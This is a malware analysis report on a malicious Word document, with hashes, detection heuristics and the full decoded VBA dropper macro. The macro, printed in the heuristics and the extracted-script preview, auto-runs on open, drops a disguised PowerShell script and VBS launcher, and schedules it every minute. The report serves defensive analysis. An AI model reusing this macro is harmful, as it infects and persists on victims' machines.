Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f6369b42a76d02f…

MALICIOUS

Office (OLE)

310.5 KB Created: 2017-12-16 01:54:00 Authoring application: Microsoft Office Word First seen: 2018-02-07
MD5: 486bdf835a453c6ffb5f56647e697871 SHA-1: adfdd8b61610ac0011d9f0be6e6adaade01bbe5e SHA-256: 1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c
518 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening the document. These macros are designed to write a PowerShell script to the user's AppData directory and then execute it using WScript.Shell. The PowerShell script itself is obfuscated but appears to be responsible for downloading and executing a second-stage payload, potentially establishing persistence via scheduled tasks. The use of `cmd.exe` and `PowerShell` indicates a multi-stage attack.

Heuristics 14

  • ClamAV: Doc.Dropper.Agent-6434729-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6434729-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ$("COMSPEC") & " /c echo " & Chr(32) & cmd & Chr(32) & " > " & Chr(34) & Tmp & Chr(34), vbHide
Shell Environ$("COMSPEC") & " /c " & "SchTasks /Create /SC MINUTE /MO 1 /TN " & Chr(34) & "Conhost" & Chr(34) & " /TR " & Chr(34) & "wscript " & Tmp & Chr(34), vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    qgcLyiCkx = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Set yCYnlofR = CreateObject("Scripting.FileSystemObject")
Set f = yCYnlofR.OpenTextFile(qgcLyiCkx, 2, True)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Document_Open()
On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Dim qgcLyiCkx As String
qgcLyiCkx = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Set yCYnlofR = CreateObject("Scripting.FileSystemObject")
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1680 bytes
SHA-256: 6babeadd4fd7a5d5d1fa30dd94cc5015b26ab32a6cd04a93204bbbe10a13b51d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
On Error Resume Next
Dim PSF, Tmp As String

Dim singleLine As Paragraph
Dim lineText As String
Dim yCYnlofR
Dim f
Dim qgcLyiCkx As String
qgcLyiCkx = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Set yCYnlofR = CreateObject("Scripting.FileSystemObject")
Set f = yCYnlofR.OpenTextFile(qgcLyiCkx, 2, True)
Dim rng As Range
Dim intSecCount As Integer
Dim intHFType As Integer
intSecCount = ActiveDocument.Sections.Count
For intSection = 1 To intSecCount
    With ActiveDocument.Sections(intSection)
        For intHFType = 1 To 2
            Set rng = ActiveDocument.Sections(intSection).Headers(intHFType).Range
            f.write (rng)
        Next intHFType
    End With
Next intSection
f.Close

PSF = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Tmp = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.vbs"
Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
cmd = Replace(cmd, "!", PSF)

Shell Environ$("COMSPEC") & " /c echo " & Chr(32) & cmd & Chr(32) & " > " & Chr(34) & Tmp & Chr(34), vbHide
Shell Environ$("COMSPEC") & " /c " & "SchTasks /Create /SC MINUTE /MO 1 /TN " & Chr(34) & "Conhost" & Chr(34) & " /TR " & Chr(34) & "wscript " & Tmp & Chr(34), vbHide
End Sub

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